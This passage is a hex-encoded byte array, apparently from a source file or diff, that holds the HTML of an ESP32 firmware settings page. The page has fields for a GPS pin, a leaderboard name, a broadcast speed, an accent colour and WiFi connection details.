0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, - 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x50, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x47, 0x50, 0x53, 0x20, 0x52, 0x58, 0x20, 0x50, 0x69, 0x6E, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x46, 0x69, - 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x2E, 0x20, 0x4F, 0x6E, 0x6C, 0x79, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x6F, 0x73, 0x65, 0x20, 0x77, 0x68, 0x6F, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x69, 0x6E, - 0x67, 0x20, 0x47, 0x50, 0x53, 0x20, 0x49, 0x6E, 0x73, 0x74, 0x61, 0x6C, 0x6C, 0x65, 0x64, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x67, 0x70, 0x73, 0x5F, 0x72, 0x78, 0x5F, 0x70, 0x69, 0x6E, 0x22, 0x20, 0x6D, 0x69, 0x6E, 0x3D, - 0x22, 0x30, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x35, 0x30, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x30, 0x20, 0x2D, 0x20, 0x35, - 0x30, 0x22, 0x20, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, - 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, - 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, - 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, - 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, - 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x79, 0x6F, - 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x46, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x20, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x6C, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x62, 0x6F, 0x61, 0x72, 0x64, 0x73, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, - 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, - 0x61, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, - 0x65, 0x72, 0x20, 0x4E, 0x61, 0x6D, 0x65, 0x22, 0x3E, 0x3C, 0x2F, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, - 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x22, 0x3E, 0x42, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, - 0x74, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x28, 0x6D, 0x73, 0x29, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, - 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x70, 0x65, 0x65, 0x64, 0x20, 0x61, 0x74, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x73, 0x20, - 0x61, 0x72, 0x65, 0x20, 0x73, 0x65, 0x6E, 0x74, 0x2C, 0x20, 0x69, 0x6E, 0x20, 0x6D, 0x69, 0x6C, 0x6C, 0x69, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x73, 0x20, 0x28, 0x35, 0x20, 0x2D, 0x20, 0x31, 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x29, 0x2E, - 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, - 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, - 0x62, 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x22, 0x20, 0x6D, 0x69, 0x6E, 0x3D, 0x22, 0x35, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x31, - 0x30, 0x30, 0x30, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x35, 0x20, 0x2D, 0x20, 0x31, 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x22, 0x20, - 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x70, 0x69, 0x63, - 0x6B, 0x65, 0x72, 0x22, 0x3E, 0x41, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, - 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x50, 0x69, 0x63, 0x6B, 0x20, 0x61, 0x20, 0x63, 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x66, 0x6F, - 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x2E, 0x20, 0x55, 0x73, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x70, 0x69, 0x63, 0x6B, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, - 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x72, 0x65, 0x64, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x61, 0x63, 0x63, 0x65, - 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x70, 0x69, 0x63, 0x6B, 0x65, 0x72, 0x22, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, - 0x72, 0x5F, 0x68, 0x65, 0x78, 0x22, 0x20, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x3D, 0x22, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x3B, 0x22, 0x3E, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x66, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x28, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x64, 0x29, 0x20, - 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, - 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x69, 0x66, 0x69, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, - 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, - 0x6F, 0x72, 0x3D, 0x22, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x22, 0x3E, 0x45, 0x53, 0x50, 0x33, 0x32, 0x20, 0x53, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x49, 0x50, 0x3A, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, - 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x4E, 0x6F, 0x74, 0x20, 0x63, - 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x22, 0x20, 0x72, 0x65, 0x61, 0x64, 0x6F, 0x6E, 0x6C, 0x79, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, - 0x20, 0x74, 0x6F, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, - 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, - 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, - 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x77, - 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6F, 0x6E, 